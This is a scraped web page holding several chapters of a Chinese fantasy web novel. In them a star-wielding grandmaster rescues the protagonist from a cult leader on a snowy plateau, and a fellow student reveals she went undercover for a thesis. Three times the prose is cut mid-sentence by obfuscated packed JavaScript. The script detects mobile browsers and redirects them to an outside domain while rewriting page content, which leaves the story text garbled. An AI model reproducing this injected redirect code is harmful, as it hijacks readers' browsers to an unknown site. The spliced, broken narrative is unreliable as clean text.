他死死地盯着那道灵光,心中掀起了惊涛骇浪。他很清楚自己这道封印术的威力,即便是同等级别的大宗师,想要接下也绝非易事,更别说像这样轻松化解了。 这道灵光背后的存在,实力恐怕远超他的想象。 他开始重新审视眼前的这一切,那道灵光不仅能修复张玉汝的身体,还能如此轻易地化解他的攻击,绝非凡物。 无数个念头在他脑海中闪过,让他不得不收起了之前的轻视,摆出了全力以赴的姿态。 与此同时,在张玉汝的意识海洋里,原本已与天地自然相融、即将沉入永恒沉睡的他,正准备就此长眠,不再被世间纷扰所困。 可就在这时,一道略显苍老却中气十足的声音猛地将他从混沌边缘拽了回来:“小子,醒醒,别睡了。” 张玉汝像是被人从美梦中硬生生拽醒,意识里陡然升起一股莫名的烦躁,颇有些起床气地抱怨道:“哥们都**,就不能让我好好睡一觉吗?”他现在只想彻底放松,把所有的恩怨情仇都抛在脑后,安安静静地结束这一切。 或许是他这带着几分痞气的反应太过有趣,那道声音的主人突然哈哈大笑起来,笑声在意识海洋里回荡,带着一种爽朗又通透的感觉。“你小子,想死还早了点。” 这笑声如同惊雷,让张玉汝混沌的意识瞬间清醒了大半。他这才后知后觉地意识到不对劲。 自己不是应该已经死在白磬手下了吗?怎么还会有这样清晰的意识交流?而且眼前突然出现了一个鹤发童颜的老头,正笑眯眯地看着他。 “请问你是?”张玉汝满脸疑惑,眼神里充满了不解。 就算是回光返照,也不该冒出这么一个和自己八竿子打不着的人啊。他努力在记忆里搜寻,却完全想不起自己认识这样一号人物。 老头捋了捋自己雪白的胡须,语气平淡却带着一种不容置疑的威严:“元天成。” “咳咳咳……”张玉汝像是被人狠狠呛了一口,在意识海里剧烈地咳嗽起来。虽说在意识里咳嗽这事本身就够奇怪的,但和“元天成”这三个字比起来,简直不值一提。 他瞪大了眼睛,满脸的难以置信。 元天成!这可是整个神州国家喻户晓的名字,是站在能力者金字塔顶端的泰斗级存在,更是北斗院的院长! 这样的人物,怎么会出现在自己的意识海里?这简直比他能从白磬手下活下来还要离谱。 张玉汝张了张嘴,半天说不出话来。 他实在无法想象,这位传说中的人物,为什么会突然找上自己,还在自己即将彻底消亡的时候把自己唤醒。 无数个疑问在他脑海里盘旋,让他一时间忘了身处何地,也忘了自己刚刚还在生死边缘挣扎。 这实在不能怪张玉汝如此大惊小怪,元天成这个名字,简直是伴随他成长的传奇符号。 自他懵懂初识能力者世界起,便无数次从长辈口中、从典籍记载里听到这个名字,每一次都伴随着无尽的敬仰与赞叹。 元天成与泰山府主郑一,堪称神州国的两大支柱,是公认的最高战力。 放眼整个世界,两人的实力也稳稳排在前十之列,甚至有好事者将他们归入前五的行列。 在这个个人伟力足以撼动山河、近乎能决定一切的世界里,实力与权力向来是划等号的。 元天成或许素来淡泊名利,极少动用那份属于他的权力,可只要他那深不可测的力量还在,便无人敢有半分觊觎之心,属于他的权柄便永远稳固如初,无人敢窃。 这位举世闻名的泰斗,此刻竟活生生出现在自己的意识海里——这份震撼,丝毫不亚于西方世界里传说中的真神降临。 要知道,“泰斗”不过是神州国对第七阶能力者的称谓,在世界上的大部分国家,站在能力者顶点的这一群人,早已被视作在世神明。 神明临凡,无论做出何等夸张的反应,似乎都在情理之中。 更何况,这位如同神明般的存在,看样子还是专程为自己而来。 张玉汝的意识在这一刻仿佛被冻结了,脑海里一片空白,只剩下“元天成”这三个字在反复回荡。他甚至怀疑自己是不是产生了更离奇的幻觉,毕竟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说得再多,也无法表达出他内心的复杂感受。行动才是最有力的证明,或许只有将来用实际行动去做一些事情,才能不辜负这份深藏的厚爱吧。 张玉汝在心里默默地想着,原本因濒临死亡而沉寂的心湖,此刻又泛起了层层涟漪。 外界的白磬终究是顶尖的大宗师,他全力催动自身力量,硬生生撕裂了元天成留下的那一点灵光所形成的防护,一步步逼近张玉汝的身躯。 他眼神冰冷,抬手便要彻底终结这个屡次挑衅自己的小子,指尖凝聚的力量足以让山峰化为齑粉。 就在这千钧一发之际,原本倒在地上、气息全无的雨萱身上,突然出现了诡异的变化。 她的身体像是被按下了时间倒流的按钮,伤口以肉眼可见的速度愈合,破碎的衣物变得完好如初,甚至连散落在周围的发丝都重新回到了她的发间。 不过顷刻之间,雨萱便恢复了生机,仿佛之前的死亡只是一场幻觉。 她身形一晃,如同鬼魅般拦在了白磬身前。 白磬见状,眼中闪过一丝不耐,这种小角色,他本想随手便打发掉。 可当他挥出的手掌即将触及雨萱时,却感觉一股奇异的力量传来,自己的身躯竟被对方牢牢锁住,动弹不得。那力量看似不强,却如同最坚韧的锁链,让他这位大宗师都难以挣脱。 恰在此时,笼罩着凉风之山的厚重云层像是被一只无形的大手拨开,向着四周退去。 刹那间,漆黑的天幕豁然开朗,无数璀璨的群星出现在天空之上。 那些星星密密麻麻,多得仿佛要将整个天空填满。它们有的明亮如钻石,散发着耀眼的光芒;有的则带着淡淡的蓝、红、黄等色彩,如同镶嵌在黑丝绒上的宝石。 无数的星光从天际洒落,汇聚成一条条银色的光带,这些光带相互交织、缠绕,逐渐形成了一片浩瀚无垠的星河。 星河在天空中缓缓流淌,仿佛有了生命一般。其中的每一颗星星都在闪烁,每一缕星光都蕴含着磅礴的力量。 有的星光如同奔腾的骏马,在星河中肆意驰骋;有的则像温柔的流水,缓缓漫过天际。整个天空都被这片星河照亮,连远处的昆仑山脉轮廓都清晰可见,凉风之山的每一寸土地都沐浴在这璀璨的星光之下,显得神圣而庄严。 在这片宏伟的星光星河映照下,白磬突然感觉到自己体内的力量像是遇到了克星一般,开始快速消散。 他凝聚在指尖的力量瞬间瓦解,周身的气势如同被戳破的气球般瘪了下去,连那股属于大宗师的威压也消失得无影无踪。 他试图调动力量反抗,却发现自己像是陷入了一片温柔而强大的泥沼,无论如何努力,都无法再**起一丝一毫的力量,只能眼睁睁地看着自己的力量在星光中一点点消融。 第 112章 两个选择 温柔的星光如同被打翻的银粉,细密地洒在白磬的肩头。他仰起脸,望着缀满碎钻般的夜空,睫毛上沾着细碎的光尘,可那份属于星辰的清辉,却半点也暖不透他的心底。 一股寒意正从左胸第三根肋骨下方的位置钻出来,像极了冬眠苏醒的蛇,先是试探着舔舐了一下血肉,随即便顺着血管疯狂窜动。 它掠过脖颈时带起一阵战栗,钻进指缝时让指尖泛起青白,就连脚踝踩着的青石板,都像是被这股寒气浸透,泛出沁骨的凉。 头顶的星河正缓缓流转,天鹅座的翅膀掠过猎户座的腰际,北斗七星的斗柄在暮色里划出温柔的弧线。 这样的景致本该让人想起旷野篝火旁的民谣,想起恋人耳畔的低语,可白磬望着那些明明灭灭的光点,只觉得那是无数双漠然的眼睛。 它们缓慢而坚定地消融着世间万物的轮廓——山峰会被磨成平原,江河会被蒸成云雾,就连最锋利的刀,最终也会化作一捧铁锈。这种无声无息的消解之力,比任何雷霆震怒都更让人胆寒。 “星蚀”白磬在心里默念着这个能力的名字,舌尖尝到一丝铁锈般的腥气。 据说被这能力盯上的人,会像被潮水漫过的沙画,从指尖开始一点点变得透明,最后连影子都不会留下。 可是这能力再怎么恐怖,也不如它的使用者。 “泰斗级能力者,元天成。” 这几个字从白磬齿间滚出来时,带着冰碴子似的颤音。 月光在他瞳孔里碎成星子,嘴角被他咬出一道浅浅的红痕。 他努力让腮帮子的线条保持平稳,仿佛这样就能稳住胸腔里狂跳的心脏——它正撞得肋骨咚咚作响,像是要从喉咙里蹦出来。 白磬的手不自觉地攥紧,冰凉的金属触感让他稍微定了定神。 是来杀我的吗?白镜心中问自己。 随即他又否定了这种想法,自己还没有这个面子。 可如果不是来杀我……无数个念头像疯长的藤蔓,在他脑子里缠成一团乱麻。 白磬深吸了一口气,让冷空气灌进肺里,试图让自己暂时冷静下来。 白磬望着那如同流沙一般的星河,突然觉得自己像掉进了一张巨大的网里,而网的另一端,正被那个站在世界顶端的男人,轻轻捏在手里。 泰斗级能力者的强大早已是异能界不争的铁律,可大宗师的威压同样能让山河变色,宗师的锋芒亦足以令一方势力俯首。 这三个站在能力者金字塔顶端的层级,每一个都代表着常人难以企及的力量高度,只是泰斗二字,始终像悬在云端的日月,将另外两者的光芒衬得黯淡了几分。 对寻常能力者而言,泰斗级的强大更像是个模糊的传说。 他们或许见过宗师挥手间翻天覆地的景象,甚至有幸感受过大宗师的不可一世。 但却从未有人能清晰描述泰斗出手时的景象——那些有幸目睹的人,要么已经化作了历史尘埃,要么便被严密的禁令束缚着,连提及只言片语都需掂量再三。 泰斗究竟能强大到何种地步? 是能移山填海,还是能摘星揽月?没人说得清。 唯有大宗师,这群距离泰斗最近的存在,才能够最为真切地感受到泰斗的恐怖。 白磬望着掌心因用力而泛白的指节,喉结不自觉地滚动了一下。 若是元天成真身降临,他恐怕连抵抗的念头都生不出来。 就像蚂蚁无法对抗碾落的巨石,飞蛾难以挣脱扑向火焰的本能,那种源自灵魂深处的压制,会让所有反抗都显得可笑。 能让一位保持着绝对理智的大宗师产生必死无疑的判断,泰斗的实力早已超越了强大二字所能概括的范畴,那是一种等同于规则般的绝对力量。 但……元天成真的会为了自己,挪动那具承载着神州国运的真身吗? 作为镇守国门的最后一道屏障,元天成的存在本身就是最有力的威慑。 他不必像寻常官员那样处理繁琐的政务,却要时刻将神识笼罩着神州国的上千万平方公里土地——在雪域高原的冰川下,有沉睡了万年的神级异兽正蠢蠢欲动。 在东海的深海沟里,潜伏着邻国第七阶能力者布下的暗棋。 更有无数双藏在暗处的眼睛,日夜觊觎着神州国境内那几件足以动摇世界格局的至宝。 那些目光来自盘踞在美洲的基因联合体,来自藏身于北欧冰原的古老教会,甚至还有些游荡在次元缝隙里的异度生命。 它们像秃鹫般耐心等待着,只盼元天成稍一挪步,便要扑上来撕扯这块肥美的土地。 白磬的思路渐渐清晰,紧绷的肩线微微松弛下来。自然教会最近在筹备的计划确实搅动了不小的风波,但这还远没到需要泰斗亲自下场的地步。 普普通通的小菜,还轮不到掌管火候的大厨亲自来掌勺。 想通这层关节的瞬间,白磬感觉堵在胸口的巨石轰然落地。 他下意识地张开嘴,绵长的气息带着胸腔里积压的寒意缓缓吐出,在夜空中凝成一缕短暂的白雾。 后背的衣衫不知何时已被冷汗浸透,冷风掠过脊梁时带起一阵轻颤,却让他莫名地松快起来。 想通这些关节只在须臾之间,在外人看来,白磬只是脸色一沉,然后便迅速调整了过来。 “不知元泰斗大驾光临,自然教会有失远迎。”白磬对着前方那团流动的星光躬身行礼,袖口垂落的银链随着动作轻晃,在地面投下细碎的光影。 他的脊背挺得笔直,指尖却悄悄掐进了掌心——面对这具由星光凝聚的躯体,哪怕明知并非真身,那股无形的威压仍像巨石般压在肩头。 星屑在半空流转聚散,渐渐凝出个身着玄色长衫的轮廓。 元天成的面容隐在星辉里看不真切,唯有双眼亮得惊人,仿佛盛着两片浓缩的星河。 他坦然受了白磬这一礼,声音像是从很远的地方传来,带着金属相击的清越:“有失远迎算不上,在自己家里随便走走罢了。” 白磬缓缓直起身,目光落在对方衣襟上绣着的日月纹章。 那纹样在星光下明明灭灭,让他想起卷宗里记载的疆域图。 他刻意放缓了语速,每一个字都带着谨慎的棱角:“雪域高原此刻,似乎并不在先导会的控制范围之内。” 这话既是提醒,更是无声的对峙——有些界限,即便是泰斗也不能轻易逾越。 元天成微微抬了抬下巴,衣摆随之一动,带起细碎的星尘。 他俯视着白磬,眼神里没有丝毫波澜,仿佛在看一粒微不足道的尘埃:“日月所照,江河所至,皆为汉土。” 这十二个字掷地有声,砸得白磬耳膜嗡嗡作响。 他垂下眼睑,掩去眸底翻涌的不满——什么江河所至,不过是仗着空谈! 有本事真把高原收回来,再在这里说这种大话! 可这些话只在舌尖打了个转,便被他死死咽了回去。 白磬重新抬起头时,脸上已恢复了平静,只是嘴角的弧度比刚才更僵硬了些。 他没有再接话,只是保持着躬身的姿态,任由对方的目光像实质般落在自己身上。 空气里的星光似乎更冷了些,连呼吸都带着冰碴子的触感。 元天成对此浑不在意,仿佛白磬方才的话只是一阵无关紧要的风。 他的目光越过白磬,再次落回张玉汝身上,那星光凝聚的眼眸里,似有微光流转。 “我给你两个选择。”元天成开口,语气平淡无波,全然没将一旁的白磬放在眼里,“第一个,我送你去个安全地方,我与姜南云的人情,就此一笔勾销。” 张玉汝的视线也自始至终没在白磬身上停留片刻,她迎着元天成的目光,干脆问道:“第二个选择?” “第二个选择么?”元天成嘴角似有若无地勾起一抹笑意,星尘勾勒的轮廓仿佛柔和了些许,“你替我办件事,这次姜南云的人情,我可以给他留着。” 元天成的话音尚未完全落下,张玉汝便已做出决断:“我选第二个。”元天成眼中闪过一丝赞许,那星光凝聚的瞳孔里,仿佛有星河流淌过。 但他还是追问了一句,语气里多了几分郑重:“你确定?我的任务,不会太容易。若是途中遇险,我大约是没工夫出手救援的。” “我确定。”张玉汝语气坚定,抬手拱手抱拳,朝着元天成行了一礼,“多谢元泰斗。” “好。”元天成微微颔首,声音里带着一丝认可,“那你便去吧,到了地方,自会知晓要做什么。” “元泰斗,此地乃雪域高原。此人杀我教会核心成员,岂能容他想来就来,想走就走?”白磬的声音陡然转冷,带着不容置喙的强硬。 方才隐忍的恭顺褪去大半,袖口下的手已悄然捏碎了一枚传讯符,符纸化作灰烬从指缝漏下。 早在元天成的星光初现之时,他便已借着躬身行礼的遮掩,启动了教会深埋在地底的传讯阵。 此刻元天成与张玉汝对话的间隙里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16067341|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,整座雪域高原的结界都在嗡鸣——藏在冰川裂隙里的守护者已破冰而出,布设在雪峰之巅的符文阵正次第亮起,连空气里都弥漫开草木与金属混合的凛冽气息。 自然教会全员已进入战备状态,如一张绷紧的弓,只待他一声令下。 谁都知道自然教会是先导会钦定的三大邪教之首,却少有人知晓他们为何能在雪域高原盘踞百年而不倒。 这背后,固然有元天成与郑一被境外势力牵制、无暇内顾的缘故。 但更关键的,是教会深处藏着足以硬撼泰斗的底牌。 若连这点底蕴都没有,就算外部压力再怎么大,神州国的泰斗们早已腾出手来,将这片高原彻底收归版图了。 白磬望着元天成那具由星尘凝聚的躯体,眸底闪过一丝精光。 眼前这位虽是分身,可毕竟承载着泰斗的气息与部分力量。 若是能借此机会留下这具分身……他甚至能想象到解剖星尘躯体时,或许能窥见泰斗级力量的一丝奥秘。 这个念头让他指尖微颤,却很快被压下。 元天成听着白磬的话,星尘凝聚的眉峰连动都未动一下。 那目光扫过白磬时,竟比雪域高原的寒风还要淡漠,仿佛在看一块挡路的顽石——无需动怒,更不必在意,只待抬脚时随手碾过便是。 白磬见他毫无反应,反而定了心神。 他抬手按在腰间的青铜令牌上,令牌表面的藤蔓纹路骤然亮起,一道幽绿的光芒直冲天际。几乎在光芒炸开的瞬间,整个凉风之山都被一层无形的屏障罩住。 地面下,无数粗壮的树根破土而出,像巨**般交缠绞杀,将每一寸土地的缝隙都堵得严严实实,连蚂蚁都难钻过去。 大地之上悬浮的岩石组成了密不透风的石墙,与云层相接处泛起淡金色的符文,连光线都被扭曲成了螺旋状。 山间的河流突然逆流,水珠在空中凝结成冰棱,织成一道晶莹剔透的水幕,将所有峡谷出口封死。 就连头顶的天空,都被一层灰蒙蒙的雾气遮蔽,仿佛有人用巨布盖住了苍穹,连最亮的北极星都失去了踪迹。 风声戛然而止,飞鸟撞在屏障上化作光点消散,整个空间被压缩得只剩下眼前的方寸之地。 自然教会的能力者们隐在暗处,气息如同蛰伏的猛兽,连呼吸都压到了最低。 白磬看着这密不透风的包围网,嘴角终于勾起一抹冷笑——就算是泰斗分身,今日也要尝尝插翅难飞的滋味。 可元天成只是轻轻瞥了眼四周涌动的能量壁障,忽然低低地笑了。 那笑声不像人声,倒像星子相撞时的脆响,在封闭的空间里荡开圈圈涟漪。 他抬手伸向被雾气遮蔽的天空,修长的指尖穿过层层阻碍,精准地落在某一点上。 “嗡——”一声轻鸣自九天之外传来。 被雾气笼罩的天幕突然破开一个小口,一缕纯粹到极致的星光坠落下来,恰好落在元天成指尖。 他屈指一弹,那星光骤然炸开,化作无数条银色的光带,一半缠向张玉汝,一半竟穿透了空间壁垒,落在了雨萱身上,她的脸上突然被星光染上了一层柔和的光晕。 张玉汝周身的光带最先亮起,它们像有生命般缠绕着他的四肢,在他脚下织成一朵巨大的星花。 花瓣层层展开,每一片都镶嵌着细碎的星子,照亮了他的眼睛。 而雨萱那边,光带正温柔地托起她的身体,将她从冰冷的岩石上拉起,周围的黑暗被星光驱散。 两道身影在星光中渐渐变得透明。 张玉汝的衣摆在光流中猎猎作响,最后看了眼元天成的方向,身影便随着光华的旋转化作无数光点;雨萱则在惊呼中被光带包裹,像被流星驮着,瞬间融入了那道从天而降的光柱。 当最后一粒星尘消散在空气中时,元天成才收回手。 那道破开天幕的星光小口缓缓闭合,仿佛从未出现过。 四周的能量屏障仍在嗡鸣,可被守护的目标早已鸿飞冥冥。 白磬僵在原地,看着空荡荡的地面,忽然明白了什么。 这便是星辰泰斗的力量,他借星光降临,便也借星光遁走。 只要有一丝星光能照到的地方,便是他的疆域。 这不是空间传送,而是与整个星空的共鸣,是将自身化作星河流淌的一部分,自然而然地融入万物轨迹。 对于元天成而言,白磬那天罗地网的包围圈,自始至终都是个笑话。 第 113章 高中肄业 漫天星斗的光芒究竟要倾泻向哪一处角落? 这宇宙间的谜题,除了那位执掌星辰的元天成,再无人能参透分毫。 星光在他指尖流转时,便如画师手中的墨笔,落点随心所欲,从无定数。 泰斗级能力者的世界里,从没有“一种类型仅能有一人”的桎梏。 真正的门槛,在于那条通往大道终点的路径——每一条大道的顶点,都只能容下唯一的身影。 因此,世间每一位泰斗,都是独一无二的孤峰,他们的力量轨迹、道途印记,皆是旁人穷尽一生也无法复刻的绝响。 便如元天成的星辰之道,纵使真有另一位泰斗同样踏足星空领域,也绝无可能阻拦他此刻的离去。 毕竟,星河流转的韵律、光芒起落的法则,早已刻进他的骨血,成为他自身的一部分。 更何况,这世间本就只有他一位星辰泰斗,这样的假设,从一开始便不成立。 白磬站在原地,望着星光消散的方向,指尖的印记仍在发烫。 他活了足够久,见过能力者之间最惨烈的厮杀,也亲历过势力更迭的血雨腥风,可直面泰斗的威压,这还是头一遭。 没能拦住元天成送人离开,他心中竟生不出多少挫败——这本就是理所当然的事,放眼天下,又有几人能真正困住一位泰斗的分身? 然而,那份刚要松弛的神经,却在下一瞬骤然绷紧。 元天成的星尘分身并未如他预想般彻底消散,反而在半空中微微凝实。 那道由星光勾勒的视线,竟精准地越过层层屏障,落在了白磬心底最隐秘、最不愿被触碰的地方——那处被重重禁制掩盖的空间入口,连教会内部都少有人知晓的禁忌之地。 白磬的瞳孔骤然收缩,掌心瞬间沁出冷汗。 他甚至能感觉到,对方目光扫过那片区域时,空气中的能量流都泛起了细微的涟漪。 就在他心脏快要跳出胸腔的瞬间,元天成的分身轻轻吐出两个字:“走了。”话音未落,那具由星尘凝聚的躯体便化作无数光点,如潮水般向后退去。 它们并未彻底湮灭,而是在空中折转,涌入一道突然裂开的空间缝隙。 那缝隙的另一端,隐约可见模糊的轮廓——正是张玉汝先前窥见的怪兽工厂旁,那片被特殊能量笼罩的异度空间。 星光没入缝隙的刹那,空间裂痕便如伤口般迅速愈合,只留下空气中一丝若有若无的星屑气息。白磬僵在原地,后背的冷汗已浸透了衣袍。 他望着那片恢复平静的虚空,喉结滚动了许久,才终于找回自己的声音,带着一丝不易察觉的颤抖:“他……看到了?” 风穿过封闭的空间,卷起地上的尘埃,却吹不散他心头陡然升起的寒意。 元天成这最后一眼,绝非无意之举。 那处特殊空间里的秘密,终究还是被这位星辰之主窥到了一角。 白磬藏在暗处的谋划,元天成最后一眼窥见的隐秘,这些都像被浓雾裹住的礁石,与此刻的张玉汝毫无关联。 他只觉得周身被温暖的星光包裹,耳边掠过风的呼啸,眼前的雪域冰川、凛冽寒风都在急速**,化作模糊的色块。 不过瞬息之间,脚下的冻土便换成了松软的青草,鼻尖萦绕的冰碴气息也被潮湿的草木清香取代。 星光散去时,张玉汝正躺在一片幽静的山谷里。身下是厚厚的苔藓,像被晒过的棉被般松软,混着野菊与蕨类植物的淡香,丝丝缕缕钻进鼻腔。 他微微侧头,便能看见一汪溪流自上游蜿蜒而来,水流清浅得能数清水底圆润的鹅卵石。 夜空的星辰悉数倒映在溪面,被潺潺流动的水声揉碎成一片晃动的银鳞,又随着水波聚散,仿佛伸手就能捞起一把碎钻。 山谷里静得出奇,只有水流撞击石头的叮咚声,偶尔夹杂着几声虫鸣,像被谁用指尖轻轻拨响的琴弦。风穿过竹林时带起沙沙轻响,落下的竹叶飘在溪面上,载着一点星光缓缓漂向远方。 空气里浮动着湿润的水汽,带着泥土与植物的清新,拂过脸颊时比最柔软的丝绸还要温柔。 这样的清雅之地,远离了雪域的肃杀与纷争,连月光都仿佛格外眷恋这里,透过枝叶的缝隙洒下斑驳的光影,落在张玉汝身上,暖得让人几乎要昏昏欲睡。 显然,这里是元天成特意为他选的——一处最适合休养生息、平复伤势的世外桃源。 然而这份清幽宁静,却被另一个人的存在彻底搅碎——正是与张玉汝一同被星光送来的雨萱。 她像是揣着一肚子的问题,眼睛亮晶晶地盯着张玉汝,问题像断了线的珠子般滚出来。 “张玉汝,你杀天人的时候是什么感觉?是不是像踩碎冰块那样脆?” 不等张玉汝开口,她又凑近了些,指尖几乎要碰到他的衣袖:“天人**之后和普通人有什么区别吗?会不会化作光点消失?” 话音刚落,新的疑问已脱口而出:“混乱之地好玩吗?听说那里的黑市能买到龙鳞,你当时偷渡的时候花了多少钱?是不是得用异能结晶当路费?” 张玉汝只觉得耳膜被吵得生疼,无数个问句像蜂群般钻进脑子里,嗡嗡作响。 他按了按突突直跳的太阳穴,只觉得天灵盖都要被这连珠炮似的追问掀开来。 他记得不久前见到的雨萱,要么是受气包一样的形象,要么是心狠手辣的女魔头,怎么转瞬间就变成了这副模样? 难道是元天成传送时出了岔子,中途换了个人? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16067342|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无数疑问在心头翻涌,张玉汝终于忍不住开口,声音里带着一丝压抑的疲惫:“你能缓一缓吗?我感觉脑袋里像有无数只蝉在叫。” “不会吧?”雨萱脸上立刻露出困惑的神情,眉头微微蹙起,“元院长的星光传送从来都是精准无误的,怎么会让人头晕耳鸣?这可是低级错误啊。” 张玉汝看着她一脸认真分析的模样,眼神顿时变得复杂起来。 他沉默片刻,缓缓开口,语气里带着几分无奈:“有没有一种可能……让我脑袋嗡嗡叫的,不是传送的问题,而是你?” 空气骤然凝固。 雨萱脸上的困惑一点点褪去,取而代之的是恍然大悟的怔忪,随即耳根悄悄泛起了红。 她张了张嘴,想说些什么,最终却只是抿紧了唇,别过脸去,指尖无意识地绞着衣角,露出了几分后知后觉的尴尬。 溪水流淌的声音在寂静中显得格外清晰,衬得这突如其来的沉默,竟有了几分微妙的窘迫。 不过正所谓,只要自己不尴尬,那么尴尬的就是别人。 雨萱沉默的时间不过几息,便像是突然按下了某个开关,极其生硬地转了话题。 她清了清嗓子,语气带着点刻意的郑重:“我叫夏雨萱,今年二十七岁,北斗院硕士研究生。” “这开口方式……怎么听着像相亲介绍?”张玉汝在心里翻了个白眼,嘴角却忍不住抽了抽。 方才那点尴尬还没散尽,新的别扭又涌了上来。 他瞥了眼夏雨萱仍泛着红的耳根,慢悠悠地开口,语气里带着几分漫不经心:“张玉汝。”顿了顿,又补充道,“今年具体多少岁,我也忘了。”这话半真半假。 他其实清楚记得自己的生辰,只是那些被逃亡填满的岁月,让年龄成了个模糊的数字,说与不说,似乎都没什么意义。 至于学历,就更没法细提了——高中课堂的板凳还没坐热,就被卷入复兴会的地盘,在血与火里摸爬滚打数年,回来后短暂回校,课本上的字都觉得陌生。 说是高中毕业,都得心虚地加上“勉强”二字,论起实际,说是肄业反倒更贴切。 夏雨萱大约也察觉到他话语里的含糊,却很识趣地没追问,只是点了点头,像是接纳了这个略显古怪的回答。 这样一番牛头不对马嘴的自我介绍,倒像是用新的尴尬冲淡了旧的尴尬。 溪风吹过竹林,沙沙声里,两人都像是松了口气,顺势顺着这微妙的氛围,开始交流起彼此知晓的情报。 “元泰斗让我们到这里,总不会只是让我们休息吧?”张玉汝率先提起正事。 “元院长一向不喜欢直接说人话,不过这次的事情我刚好还知道一些。”夏雨萱开口道。 第 114章 野鸡大学 “所以说,你在自然教会潜伏这么久,搅出这么多风波,竟然全都是为了毕业论文?”张玉汝的视线紧紧锁在夏雨萱脸上,瞳孔微微收缩,语气里的茫然几乎要漫出来。 他下意识地抬手揉了揉眉心,仿佛这样就能驱散眼前这荒诞到让人难以置信的现实。 张玉汝这些年仗着一身本事走南闯北,从冰封的极北冻土到湿热的南洋群岛,见过会吐人言的古树,自认早已练就了处变不惊的定力,寻常奇闻异事根本动摇不了他半分。 但是对于这种为了完成毕业论文就整出来这种狠活的,他确实没见过。 夜色像浸了墨的绒布,沉甸甸地压在山间林地之上。 溪水在不远处潺潺流淌,月光偶尔从云隙漏下几缕,给光滑的鹅卵石镀上一层冷白,又很快被阴影吞没。 “为了一篇论文,就敢在自然教会这种龙潭虎穴里潜伏八年?”张玉汝的声音混着溪声传来,带着几分难以置信的喑哑。 他抬手拨开眼前垂落的枯枝,指尖蹭过带着夜露的叶片,冰凉的触感让他混沌的脑子清醒了几分。 按照夏雨萱方才的叙述,这一切的开端要追溯到八年前。 那时她刚踏进北斗院的大门没多久,身上还带着未脱的新生青涩,像株刚冒头的嫩芽,却被导师选中,接下了潜伏自然教会的秘密课题。 说这些时,她正蹲在溪边洗手,掬起的泉水在月光下泛着细碎的银光,顺着指缝滴落时,惊起水面一圈圈涟漪。 “当时导师说,这课题要是能成,不仅能填补学界对自然教会内部运作研究的空白,还能为特殊事务部提供第一手情报。”她甩了甩手上的水珠,语气平淡得像在说别人的事。 “他动用了不少人脉,才帮我找到了可以顶替的身份——教会里一个刚意外身故的外围成员。” 这中间的阻碍,远比说起来要惊心动魄。 自然教会这等盘踞多年的大势力,内部审查严苛得如同铜墙铁壁,稍有不慎便是万劫不复。 夏雨萱说着,伸手拨了拨脚边的碎石,石子滚落到溪水里,发出“咚”的轻响,很快便被持续的水流声盖过。 不过那时的雨萱,还只是个刚晋阶的高级能力者。 在能人辈出的自然教会里,高级能力者实在算不得什么有分量的角色。 也正因如此,靠着金钱开路,再辅以些掩人耳目的特殊手段,才总算让她在教会的层层盘查下,硬生生磨出了一个合理的身份,像颗不起眼的沙砾,混进了这片看似平静的荒漠。 然后便是漫长的潜伏。 从春到秋,从寒到暑,她在教会的阴影里蛰伏了一年又一年,直到这次事件爆发,才终于等到了完成毕业论文的契机。 “你以为我想吗?”夏雨萱忽然提高了声音,手里的空水壶被她猛地往旁边的青石上一磕,“咚”的一声闷响在寂静的林间荡开,惊得树梢几只夜鸟扑棱棱飞起,翅膀划破空气的声音格外清晰。 她转过身,往后退了两步,重重靠在身后粗壮的老树根上。 树皮的粗糙质感透过薄薄的衣料传来,头顶的星光忽明忽暗,借着这点微弱的光亮,能清楚地看到她紧蹙的眉头,以及眼底翻涌着的、压抑了许久的郁闷。 “这个课题本来说好是三年,结果三年之后又是三年。” 她深吸一口气,语气里满是无奈的自嘲,“我问导师什么时候才能结束卧底,她总是让我再等等,说毕业论文的标准还达不到。” “标准定的这么高?卧底这么久都不够?”张玉汝疑惑道。 “你是没见识过北斗院本硕连读的毕业论文有多熬人。”她抬手抹了把脸,像是要把所有的烦躁都抹去。 “我刚入学那年,光在公告栏上看到的‘毕不了业名单’,就够让所有新生打寒颤的。那名单长得能从公告栏这头铺到那头,每个名字后面都跟着一串密密麻麻的延期理由,看得人头皮发麻。” 溪水在旁边哗哗地流着,星光洒在水面上,碎成一片晃动的银鳞。 夏雨萱随手捡起块小石子扔进溪里,溅起的水花惊得岸边几只小虫飞了起来:“有个早就摸到大师级门槛的学姐,论文卡了三年,每次能力考核都是第一,偏偏拿不到毕业证,只能眼睁睁看着师弟师妹们戴着学士帽拍毕业照。” “还有位快摸到宗师边儿的学长,都快四十了,现在还背着采样箱在雨林里蹲点,就为了补全课题数据——你说这叫什么事?” 她转头看向张玉汝,月光刚好落在她脸上,那股“你不懂”的残念几乎要溢出来,语气里带着点咬牙切齿的味道:“那种实力早就够了,却被一篇论文死死卡着,连毕业证都摸不到的滋味,你能懂吗?就像揣着一身通天的本事,却连校门都迈不出去。” 张玉汝的嘴角控制不住地抽了抽,有一说一,这事他确实不懂。 